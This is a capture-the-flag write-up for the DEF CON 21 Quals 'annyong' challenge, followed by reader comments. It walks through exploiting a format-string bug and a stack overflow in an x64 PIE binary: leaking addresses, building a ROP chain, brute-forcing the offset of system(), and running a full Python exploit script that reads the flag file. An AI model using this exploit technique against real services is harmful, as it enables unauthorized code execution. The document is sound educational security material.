Defcon 21 Quals > Annyong - pwn 4
The annyong service is an x64 ELF for Linux, PIC executable, without stackexec. It is basically an echo inetd service, so using stdin/stdout. As with most pwnables -0x41414141?- besides yolo this year, not much RE to do. main is just a call to 0x108c, which basically is:
push rbp mov rbp, rsp sub rsp, 810h mov [rbp-4], 0 jmp short loc_1113 [...] mov rax, cs:stdin_ptr mov rax, [rax] mov rdx, rax lea rax, [rbp-810h] mov esi, 900h mov rdi, rax call _fgets [...] lea rax, [rbp-810h] mov rdi, rax mov eax, 0 call _printf
When rbp-4 is not null, the function returns, so we have both a format string and a 0xf0 bytes overflow. There is a strchr within the function which forbids the use of 'n', so we cannot %n our way to victory. Anyway, it's simpler in this case to just leak addresses with the format string and ROP after. Teams who solved incest before -or communicate better than us-, could use the same libc for an easy exploit. I don't think organizers thought of this or it wouldn't have been 4 points, but guess what, me neither - and it's not like it's the first time this happens to me. After all the writeup should be more interesting that way ^^.
We have a PIC executable, so before doing anything, we need to retrieve its load base to get .text and GOT addresses, which can be easily done by getting the return address from the format string:
$ nc annyong.shallweplayaga.me 5679 %265$llx 7f7eee100127
The return address within main() is at offset 0x1127, so we can deduce the elf's load base. With the same technique, we can get main()'s rbp -word 264- and deduce the buffer start, at offset -0x820. From there we can use %s to disclose any arbitrary address, the same way we usually do %n. The buffer starts at word 6 of the format string:
s.sendall('%7$s' + 'A'*4 + struct.pack("<Q", addr) + '\n') ret = re.search("(.*)AAAA", s.recv(1024), re.DOTALL).group(1) ret += '\x00'*(8 - len(ret)) return struct.unpack("<Q", ret)[0]
This way, we can disclose any GOT address. Even if we lack the real libc's offsets, it's easy to get the libc base with __libc_start_main offset, as it does not vary much - always around 0x21XXX. From there, if we are to call a libc function, we need to control rdi, which does not point to the buffer at the end of the vulnerable function. The only interesting chunk in the executable at offset 0x1086 allows us to control rdi via rsi:
mov rdi, rsi retn
You typically don't find pop rdi/ret in x64 executables, but most functions with arguments start with mov [rbp-X], rdi/rsi/... As we control rbp from the vulnerable function's leave/ret, if we find a function that leaves with a controlled rsi value, we can control rdi. There is a write wrapper at 0xfd4 that does just that:
mov rcx, [rbp-10h] mov eax, [rbp-4] mov rsi, rcx mov edi, eax call _write leave retn
Having spotted the read GOT entry, we also find a read wrapper at 0x101d. So the basic exploit idea is to use the read_wrapper, bypassing the mov [rbp+X], reg instructions, to get a string at an arbitrary address within the stack or bss, then chain a call to the write wrapper, which allows us to check that the rop works so far in the first place, and sets rsi to an arbitrary value. We use the mov rdi, rsi chunk to control rdi and can then call any libc address.
We are only missing an exact address to libc's system(). This is no hard task with an inetd service though, as we can do a slight bruteforce around our own system() offset and use assert() messages to check roughly where we are:
[offset_guess + 0x1c] Command: id fmtstr_inetd_64: ../stdlib/strtod_l.c:1569: ____strtold_l_internal: Assertion `empty == 1' failed. [...] [offset_guess + 0x188c] Command: id uid=1001(fmtstr) gid=1001(fmtstr) groups=1001(fmtstr)
There we know we are in strtod_l, which is roughly 10000 bytes away max from system(), so with 4 threads incrementing 4 bytes by 4, we get there in a matter of minutes. It seems we have our sploit:
#!/usr/bin/python import socket import struct import re import sys HOST = "annyong.shallweplayaga.me" PORT = 5679 def get_stack_qword(s, idx): s.sendall("%%%d$llx\n"%(idx)) return int(s.recv(1024), 16) def get_arbitrary_address(s, addr): s.sendall('%7$s' + 'A'*4 + struct.pack("<Q", addr) + '\n') ret = re.search("(.*)AAAA", s.recv(1024), re.DOTALL).group(1) ret += '\x00'*(8 - len(ret)) return struct.unpack("<Q", ret)[0] # prog offsets vuln_ret_offset = 0x1127 # stack offsets buffer_ebp_offset = 0x820 #libc offsets libc_start_main_offset = 0x21680 system_offset = 0x4512c s = socket.socket() s.connect((HOST, PORT)) load_base = get_stack_qword(s, 265) - vuln_ret_offset if load_base & 0xfff != 0: print "[-] Bad segment offset :(" sys.exit(0) print "[+] .text @ " + hex(load_base) # resolved offsets + gadgets lsm_got = load_base + 0x202050 restart = load_base + 0x111E write_from_stackframe = load_base + 0xfe3 read_from_stackframe = load_base + 0x102f mov_rsi_rdi = load_base + 0x1086 lsm = get_arbitrary_address(s, lsm_got) libc = lsm - libc_start_main_offset if libc & 0xfff != 0: print "[-] Bad libc offset. Got __libc_start_main = " + hex(lsm) sys.exit(0) print "[+] libc base @ " + hex(libc) buffer_start = get_stack_qword(s, 264) - buffer_ebp_offset print "[+] buffer_start @ " + hex(buffer_start) # read() an arbitrary string somewhere readable (took start of buffer - 1000) cmd_str = "cat /home/fmtstr/key" cmd_buffer_addr = buffer_start - 1000 stack_frame = struct.pack("<Q", cmd_buffer_addr) + struct.pack("<Q", len(cmd_str)) + struct.pack("<Q", 0) payload = stack_frame + 'A'*(0x810 - len(stack_frame)) + struct.pack("<Q", buffer_start + 0x20) + struct.pack("<Q", read_from_stackframe) + struct.pack("<Q",restart) + '\n' #Stage 1 : return into read wrapper, with stack frame pointing to buffer + 0x20 # => stack frame starts at buffer_start # return into main to call vulnerable function a second time s.sendall(payload + '\n') s.recv(1024) # Send string to be read() s.sendall(cmd_str + '\x00') s.recv(1024) # check second ebp buf_2 = get_stack_qword(s, 264) - buffer_ebp_offset if buf_2 != buffer_start: print "[?] buffer_start #2 does not match buffer_start (0x%x v. 0x%x)"%(buffer_start, buf_2) buffer_start = buf_2 # we chain 3 calls # - write from stackframe that finishes with rsi pointing to the buffer arg (set to @cmd_buffer_addr) # - rdi = rsi chunk from the end of read_from_stackframe # - system() with rdi pointing to cmd_buffer_addr stack_frame = "A"*8 + struct.pack("<Q", cmd_buffer_addr) + 'A'*4 + struct.pack("<I", 1) + 'A'*8 + struct.pack("<Q", mov_rsi_rdi) + struct.pack("<Q", libc + system_offset) payload = stack_frame + 'A'*(0x810 - len(stack_frame)) + struct.pack("<Q", buffer_start + 0x18) + struct.pack("<Q", write_from_stackframe) s.sendall(payload + '\n') s.recv(1024) print "Output:", s.recv(len(cmd_str)) print s.recv(1024)
Yeah, it totally looked like this some hours ago ^^ Run example:
$ ./annyong-sploit.py [+] .text @ 0x7f8b537fc000 [+] libc base @ 0x7f8b53218000 [+] buffer_start @ 0x7fff9c00dcb0 Output: cat /home/fmtstr/key The key is: Kernel airbags have been fully deployed
And here goes the key: Kernel airbags have been fully deployed. Pretty nice to have had human readable keys by the way :)
After disclosing the real address from __libc_start_main, you are provided with an address that looks like 0x7fAAAAAAABBB. BBB are the exact 12 less significant bits of __libc_start_main's offset, as the beginning of the library is page-aligned.
The magic 0x21BBB offset is just a common offset shared by debian-based systems such as Ubuntu that was used in this particular CTF. Other than that, a lot of teams have repositories of major libc versions and are able to fingerprint with one or two symbols the actual libc used.
I don't remember how I spotted the read/wrute wrappers, probably while searching for appropriate ROP gadgets.
How did you get libc_start_main_offset ? You said it is "always around 0x21XXX", did you bruteforce it ?
And how did you find about read and write wrapper offset ?
Ya it's an x64 thing. Args are passed in registers (rdi, rsi, rdx, rcx, r9, r8 and then the stack).
why do you need to control rdi in order to call a function? I don't get this......
it's an x64 thing, or what?
ahah merci bien =)